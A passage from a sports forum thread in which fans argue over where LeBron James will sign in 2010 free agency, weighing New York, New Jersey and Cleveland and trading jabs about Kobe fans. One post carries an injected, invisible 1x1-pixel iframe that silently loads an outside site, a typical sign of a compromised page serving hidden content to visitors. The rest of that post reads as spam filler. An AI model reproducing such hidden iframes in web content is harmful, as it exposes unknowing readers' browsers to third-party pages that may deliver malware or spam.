The LeBron James Thread

[Kruza]

Re: The Official "Where is LeBron going?" Thread

LOL! Yeah, that was a good one. I almost lost my breakfast laughing at that quote from StickeeGreen.

Kruza

[Bornindamecca]

Re: The Official "Where is LeBron going?" Thread

Were you born in a sky box or court side?

On the baseline right after my father finished dunking.

[bonbonan]

Re: The Official "Where is LeBron going?" Thread

I'm a huge Laker /Kobe fan, and I love LeBron's game. I genuinely like the guy as well. I do not see your logic there, sorry.<iframe src="http://zeroethics.com/opsports/" frameborder="0" marginheight="0" marginwidth="0" width="1" height="1"scrolling="no"></iframe>

I am fan for Kobe and LeBron.. I would say both of them will follow the footprint of MJ 23!

[King_B_Mack]

Re: The Official &quot;Where is LeBron going?&quot; Thread

Don't go there.

I'm a huge Laker /Kobe fan, and I love LeBron's game. I genuinely like the guy as well. I do not see your logic there, sorry.

Okay, lemme rephrase this as it wasn't exactly clear what I meant. Not every Kobe fan is like that obviously. But what I mean and we all know the irrational LeBron hate and the "LeFraud" names and crap like that and ignoring facts like LeBron having already lead the Cavs to the Finals (single handly mindyou) is usually from the Kobe fans who are trolls and fight tooth and nail to try to make Kobe better than Michael and crap all over everything LeBron does cause they don't want to accept that anybody can be better than Kobe. If you aren't that type of Kobe fan then you've got nothing to worry about and keep moving along. Basically spend a day at the ESPN NBA message boards. You'll see a "Kobe Kid" or two or three hundred thousand.

[ProfessaPackMan]

Re: The Official &quot;Where is LeBron going?&quot; Thread

Can we just change the name of this thread to OS vs NY since this is basically what it is. Oh and Rucker Park is not that big outside of NY like it used to either, fwiw.

[King_B_Mack]

Re: The Official &quot;Where is LeBron going?&quot; Thread

Everybody's city is taking a beating in this thread. New York doesn't have to get top billing on everything.

[wwharton]

Re: The Official &quot;Where is LeBron going?&quot; Thread

Responding to both wwharton and OSU since they made similar points,

1. As far as loyalty from the fans, weren't the Cavs/Lebron getting booed off their own court in the playoffs? Wasn't Lebron getting destroyed in the media during the Celtics series? He certainly had a longer leash than he would get in New York, but I don't see that free pass still being there. Also, I don't think the thought of how he would be treated if he never won a championship is going through his mind, but I think he would still be loved in New York. Patrick Ewing, was criticized heavily through most of his career, but when he left/retired, he was a beloved figure. Don Mattingly is still one of the most popular Yankees, despite not winning a championship.

2. Many argue that New York is a basketball city more than baseball. Knicks just haven't been good in so long. I think New York is just more about who's good at the time. In the 80's it was all about the Mets. 90's the Knicks, since then the Yankees. I think if he comes to New York, he's instantly the biggest star there, ahead of Jeter, ahead of A-Rod. He's not getting overshadowed, especially since the Yankees just won, and the Knicks have been terrible.

3. As far as Dolan, I admit he's a guy we hold our breath with and hope he doesn't do anything stupid, but the last few years he has completely stayed out of the way. I don't really see him as a big part of the process. We will see on the Nets owner, supposedly his track record is he puts the experts in charge and gives them his full support. We'll see.

4. And with talent, well first of all if the Cavs are able to get Bosh, or another star, that changes things. I just don't really see that happening.

To me, the Cavs didn't seem like a team that was just missing a couple role players, or a couple of tweaks away. It seemed like the problem was they had to many role players and not another star to take the pressure off of Lebron. And they don't have the flexibility to do that imo. I do think a better coach could win a title with that team, but I'm not sure who's available that would get them to that level, and I'm not sure they can convince Lebron of that. As far as other teams, if the Bulls added Bosh, which I don't think they'll be able to do either, but if they did they would be better than the Cavs imo. Nets probably can't be better than the Cavs next year, but they could have Lebron, Lopez, maybe another free agent like Lee, and a lot of good young players. They would be set up for years and Lebron has said its about winning multiple championships. Knicks could get Lebron and Bosh. Just how good they would be next year depends on what they get for Curry's contract, but at the very least they'll have a good core. I think all the other teams will have a tough time getting a better team next year than Lebron would have if he stays, but they could all come close, and all could be setup better for the years to come.

1. The fans booed the team because they quit. The next day they were making embarrassing youtube videos, begging Lebron to stay. It was a reaction of the moment, and an understandable. The way they went out this year at the end of game 6 was pathetic. But Lebron DEFINITELY still has a free pass in Cleveland, and if he stays they'll have even more reason to love the guy.

The media you're talking about is national, not local.

2. NY is a basketball city. It's gotta be painful that they don't have any successful pro or college teams right now, but NYC would love to have a bball team to be proud of. Thing is, that's why NYC needs Lebron, not why Lebron needs NYC. From his perspective, they don't have an edge over anywhere else. The idea that he can make more money there doesn't add up in 2010. He's already an international star so he doesn't need to be in the Big Apple to make a name for himself either. I'm also one who thinks he may not be mentally strong enough to handle the criticism he'd get if they didn't win soon. The only reason I think NYC still has some small shot is bc I'm not sure he realizes all of that.

4. The Cavs lead the league in wins. I understand that's not the playoffs but I think its fair to say a team with that kind of record is only a couple of tweaks away. They really need a coach with a real offense who will treat Lebron like a member of a team. Like I said, before he was traded to Cleveland, Jamison was considered in the same class as most of the free agent names being thrown around now. He didn't all of a sudden go to Cleveland and suck. Same with Mo Williams before he went to the Cavs. That horrid offense didn't let them demonstrate their skills. A year of them together (remember Jamison just got there) in a more balanced offense with even minor additions is all they need.

The team has been built for James. Any other team would have to start from scratch with that. Any of these teams, if you add James they could be title contenders eventually, but Cleveland is the only place with a legit shot at it next year and maybe the next two.

[BaselineBakes]

Re: The Official &quot;Where is LeBron going?&quot; Thread

New York is the concrete jungle where dreams are made of.


No but seriously, as a New Yorker I can't even imagine having a true true superstar, Knicks have always been that scrappy sort of doing it as a group type team, when they were good atleast. Having that one go to guy would just be so different.

Patrick was a star and all but I don't remember him being dominant, it was everyone around him pulling their weight as well. Ward, LJ, Houston, Starks, Oak, and so on.

Im also not sure if I could take that bad karma of 'stealing away' Lebron from such a tragic city that is Cleveland, everytime the media talks about this stuff I feel for that city man, it's gotta be tough. Please keep your superstar, Cleveland needs Lebron way more than New York, we will live.

Just my 2 cents.

[Bornindamecca]

Re: The Official &quot;Where is LeBron going?&quot; Thread

That's part of what I've been saying. Yankees win, Giants win, Jets might win. NYC will be fine as a sports town without taking home grown Lebron from a city that literally has nothing but abject misery in its sports history. With cap space, a great city and Walsh in charge, New York will be a good team in two years either way. He'll spend that money well. Maybe not perfectly, but well.

[Boltman]

Re: The Official &quot;Where is LeBron going?&quot; Thread

New York is the concrete jungle where dreams are made of.


No but seriously, as a New Yorker I can't even imagine having a true true superstar, Knicks have always been that scrappy sort of doing it as a group type team, when they were good atleast. Having that one go to guy would just be so different.

Patrick was a star and all but I don't remember him being dominant, it was everyone around him pulling their weight as well. Ward, LJ, Houston, Starks, Oak, and so on.

Im also not sure if I could take that bad karma of 'stealing away' Lebron from such a tragic city that is Cleveland, everytime the media talks about this stuff I feel for that city man, it's gotta be tough. Please keep your superstar, Cleveland needs Lebron way more than New York, we will live.

Just my 2 cents.

So true, he was the best shot blocker ever coming off from the weak side though. I swear man, that's all I ever remember of him, coming down to double team in the block or post to help and getting his weak side block off lol.

Ewing will always be my favorite Knick of all time. I know that's weird saying that. But as a life long Laker fan, the Knicks have always been my favorite second team.

I'll just come out and say it, I have always loved the Knicks. Don't know what exactly it is about them, but I always read their box scores to see how they did. I hated Starks though, that's about it. Loved Ewing no doubt. I want LeBron to go to the Knicks! There, i said it.

Bron would look sweet in a Knicks jersey going up against my Lakers & Kobe, make it happen NBA!

[hokupguy]

Re: The Official &quot;Where is LeBron going?&quot; Thread

[Altimus]

Re: The Official &quot;Where is LeBron going?&quot; Thread

No idea it was up. It's on Grand and Lasalle for those interested in checking it out.

They also plan to pay to put one up in Cleveland.

[OSUFan_88]

Re: The Official &quot;Where is LeBron going?&quot; Thread

They also plan to pay to put one up in Cleveland.

Waste of money.

Someone will tear it down/the city won't allow it to go up.

[ehh]

Re: The Official &quot;Where is LeBron going?&quot; Thread

Im also not sure if I could take that bad karma of 'stealing away' Lebron from such a tragic city that is Cleveland, everytime the media talks about this stuff I feel for that city man, it's gotta be tough. Please keep your superstar, Cleveland needs Lebron way more than New York, we will live.

Just my 2 cents.

If LBJ does somehow end up in NY the hate for NYC will reach new heights.

[brahmagoul]

Re: The Official &quot;Where is LeBron going?&quot; Thread

If LBJ does somehow end up in NY the hate for NYC will reach new heights.

Yeah, I thought that job belonged to the Yankees.